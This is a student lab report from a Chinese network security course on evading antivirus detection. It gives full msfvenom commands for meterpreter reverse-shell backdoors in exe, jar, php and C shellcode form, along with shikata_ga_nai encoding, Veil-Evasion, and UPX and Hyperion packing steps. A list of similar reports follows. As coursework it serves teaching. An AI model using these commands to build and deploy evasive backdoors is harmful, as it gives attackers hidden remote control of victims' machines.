2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 正确使用msf编码器,生成exe文件
- 使用VirusTotal或Virscan这两个网站对实验二生成的后门程序进行扫描。

- 可以发现,在virustotal70种杀软中,有51种杀软能识别出该代码是恶意代码。
- Virscan结果如下:

可见不加任何处理的后门程序能够被大多数杀软检测到 - 用msf编码器对后门程序进行一次到多次的编码,并进行检测。
- 一次编码使用命令:
-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.105 LPORT=5317 -f exe > oncemsf.exe - 经过一次编码后的文件扫描结果如下

- 十次编码使用命令:
-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.105 LPORT=5317 -f exe > tenmsf.exe

- 扫描结果如下:

- 多次编码对免杀没有太大的效果。
2. msfvenom生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 x> nxy_backdoor_java.jar

- 扫描结果如下

3. msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 x> 20165317_backdoor.php

- 扫描结果如下

(php是世界上最好的语言!!!!!狗头.jpg)
4. 使用veil-evasion生成后门程序及检测
安装veil
- 如果镜像是2018的话,在安装之前可以先执行下面的指令,可能会需要比较长的时间
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
- 用
sudo apt-get install veil命令安装Veil - 之后用
veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间: - 因为网络连接问题和系统不兼容,所以出现了很多问题
- 首先更新系统,在管理员模式下输入下列命令
apt-get update
apt-get upgrade
- 然后再用
veil打开veil,输入y继续安装直至完成。效果如下:

- 用
use evasion命令进入Evil-Evasion

- 输入命令
use c/meterpreter/rev_tcp.py进入配置界面

- 设置反弹连接IP,命令为:
set LHOST 192.168.1.102,注意此处的IP是KaliIP - 设置端口,命令为:
set LPORT 5317

- 输入
generate生成文件,接着输入你想要playload的名字:veil_c_5317

- 扫描结果如下,可见veil-evasion生成的后门程序效果仍不理想

5. 半手工注入Shellcode并执行
- 首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=5317 -f c用c语言生成一段shellcode;

- 创建一个文件
20165317.c,然后将unsigned char buf[]赋值到其中 - 使用命令:
i686-w64-mingw32-g++ 20165317.c -o 20165317.exe编译这个.c文件为可执行文件; - 扫描结果如下

6.加壳
使用压缩壳(UPX)
- 给之前的20165317.exe加个壳得到nxy_upx.exe:

- 扫描结果如下:

使用加密壳Hyperion - 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/目录中 - 进入目录
/usr/share/windows-binaries/hyperion/中 - 输入命令
wine hyperion.exe -v nxy_upx.exe nxy_upx_Hyperion.exe进行加壳 - (这个地方从图形界面复制一直显示权限不够,怎么也加不上最后只好从命令行来了)
- 扫描结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀
- 通过使用半注入shellcode,压缩壳,保密壳生成后门程序,但很可惜,没有成功,腾讯虽然杀不出病毒但是也无法反弹连接,尝试失败。

回答问题
- 杀软是如何检测出恶意代码的?
最常用的方法是检测特征代码,恶意代码通常具有一些特定的,正常程序所不具备的代码,我们称之为特征代码,可以通过这段代码来证明这是恶意代码。不同杀软对特征代码的扫描应该是不同的。第二种方法是依据行为来推断,如果一段代码执行后对系统造成破坏或者窥探用户隐私,则很有可能是恶意代码。第三种方法是启发式检测,通过片面的特征来判断是否是恶意代码,但这种方式较为片面,不常用。 - 免杀是做什么?
使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测 - 免杀的基本方法有哪些?
免杀可以通过改变特征码和改变行为等方式来进行。改变特征码就是想方设法使得特征码不在我的恶意代码里出现,比如多次编码,或者加壳(不过是不是加壳了之后壳也成为了一种特征码了呢?);改变行为就是减少恶意代码攻击性行为出现的次数,比如说在一个几乎是正常运行没有恶意的超大型程序里植入一个很小的,不经常工作的后门。
感想与体会
本次实验并没有成功,而过程中也遇到了很多的问题,比如说对kali系统本身和Ubuntu的一些区别还是比较模糊不清,veil安装也出现了很大的问题。在解决问题的过程中感觉自己能更加熟练的使用搜索引擎和CSDN等辅助工具,这也是到目前为止,我在大学里最大的收获之一,解决问题的方法很重要。这次虽然大概了解了免杀的原理,但是对于其中一些深层次的东西还是一知半解,导致在做最后的组合性免杀的时候没有成功。另外在本次实验中,我也了解了各杀毒软件的能力和工作原理,还是收获颇丰。
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
随机推荐
- [Ynoi2018]末日时在做什么?有没有空?可以来拯救吗?
这道题真的超级...毒瘤 + 卡常 + 耗 RP 啊... 传送门 noteskey 题解看 shadowice 大仙 的 code 如果发现自己 T 掉了,别心急,洗把脸再交一遍试试... //by ...
- Ubuntu16.04 Liunx下同时安装Anaconda2与Anaconda3
先根据Ubuntu预装的python2.7来安装Anaconda2,然后将Anaconda3作为其环境安装在envs文件夹下. 重要提示:有一些软件需要py2.7的环境,比如XX-Net, 最好是先安 ...
- VMware的NAT网络模式
参考链接:https://www.cnblogs.com/linjiaxin/p/6476480.html 图例:
- 【原创】大叔问题定位分享(6)Dubbo monitor服务iowait高,负载高
一 问题 Dubbo monitor所在服务器状态异常,iowait一直很高,load也一直很高,监控如下: iowait如图: load如图: 二 分析 通过iotop命令可以查看当前系统中磁盘io ...
- JAVA 数组元素的反转
package Code411;/*数组元素的反转本来[1,2,3,4]反转后[4,3,2,1]1.对称位置的元素交换2.对称位子需要两个索引3.int temp =a:a=b;b=temp;4.什么 ...
- tcpdump抓包常用命令列举
情形一.采集指定网络接口和端口的数据包 sudo tcpdump -s 0 -x -n -tttt -i bond0 port 55944 -w /tmp/mysql_tmp.tcp 情形二.采集 ...
- Nhibernate 使用 (一)
一:介绍 NHibernate 是一个基于.Net 的针对关系型数据库的对象持久化类库.Nhibernate 来源于非常优秀的基于Java的Hibernate 关系型持久化工具.NHibernate ...
- mysql根据分组和条件查询以后如何统计记录的条数
1.子查询,查询出的数据随便起一个别名,然后根据分组和条件查询出的数据,作为一个具有一列的一个表,然后外面的查询查询这个数据表的这一列的总数,即可. SELECT COUNT( * ) FROM ( ...
- [SignalR2] 认证和授权
SignalR自身不提供任何用户认证特征,相反,是直接使用现有且基于(Claims-based)声明认证系统(关于这方面知识详见参考资料),非常明了,不解释,看代码中的验证代码: protected ...
- SQLServer中的CTE通用表表达式
开发人员正在研发的许多项目都涉及编写由基本的 SELECT/FROM/WHERE 类型的语句派生而来的复杂 SQL 语句.其中一种情形是需要编写在 FROM 子句内使用派生表(也称为内联视图)的 Tr ...